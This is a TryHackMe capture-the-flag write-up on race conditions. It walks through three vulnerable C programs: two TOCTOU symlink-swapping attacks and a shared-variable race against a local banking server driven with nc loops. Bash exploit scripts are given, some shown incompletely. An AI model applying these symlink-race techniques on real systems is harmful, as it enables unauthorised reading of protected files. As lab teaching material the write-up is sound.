TryHackMe: Race Conditions writeup

Race Conditions

What is the flag for the /home/walk/flag binary?

At first, I read anti_flag_reader.c to find vulnerability.

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");       // <----- 1
    puts("Checking if the file is a symlink...");   
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));  // <---- 2
    puts("<Press Enter to continue>");    // <---- 3
    if (path_check || symlink_check) {      // <---- 4
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    return 0;

This code checks if a user pass to flag as file name[1], then check if the user given file is not symlink[2]. Then, program prints "" to wait enter key is pressed[3]. Finally, program checks file name and symblic link check results. So, there is time between getting file information and check its results. Therefore, we can create symlink file between 3 and 4. When run anti_flag_reader, we don't have to create dummy file because this program doesn't check file exists or not.

Let's do it.

Create symlink file between 3 and 4 in another terminal.

What is the flag for the /home/run/flag binary?

Of course, I read cat2.c to find vulnerability.

>>> snip <<<
    context = check_security_contex(argv[1]); // <---- 1
    puts("Context has been checked, proceeding!\n");

    if (context == 0) {     // <---- 4
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);    // <---- 5
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        return 1;
>>> snip <<<

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK); // <---- 2
    usleep(500); // <---- 3

    return context_result;

The cat2 checks user permission by check_security_contex(). This program calls check_()[1]. It checks access permission by access(2)[2]. Then, sleeps 500 usec and returns check result. When check_security_contex() returns 0[3], opens a file which is passed by command line argument[5]. So, if we pass symlink file as command line argument, we are able to change its target between 3 and 5.

I forgot to save my shell scripts before terminate machine but I wrote following scripts like that.

This runs ln command to change symbolic link target.



if [ ! -f "${DUMMY_FILE}" ]; then
    touch "${DUMMY_FILE}"

if [ -f "${SYMLINK_FILE}" ]; then
    rm "${SYMLINK_FILE}"

for ((i=0; i<2000; i++));
    ln -sf "${DUMMY_FILE}" "${SYMLINK_FILE}"
    sleep 1
    ln -sf "${FLAG_FILE}" "${SYMLINK_FILE}"

This runs cat2 command.


for ((i=0; i<2000; i++));
    echo "[+]Test $i"
    /home/run/cat2 /home/race/symlink.txt

Run these scripts and logs to text file.

We will see flag in the log file.

What is the flag for the /home/sprint/flag binary?

Read bankingsystem.c as usual.

int money; // <---- 1

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    read(conn->sock, buffer, buffer_len);
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    money = 0;    // <---- 2

When accessing to the server, server creates a thread to process user request. However, the money value is shared object so it isn't thread local. The money is set to 0 when program starts[1] and set to 0 when connection closed[2]. The money is not initialized when connection starts. So, there is a race condition bug. If we deposit money continuously in short period of time, money will be greater than 15000 by the bug. We need to send "purchase flag" command at the time.

I wrote two scripts the one is which sends depoit command.


for ((i=0; i<2000; i++));
  echo -e "deposit\n\n" | nc localhost 1337

The other is which sends "purchase flag" command.


for ((i=0; i<500; i++));
    echo "[+]Test $i"
    echo -e "purchase flag\n\n" | nc localhost 1337

We need to deposit money more than 15000 so that I run more than one.

Run scripts.

Get flag!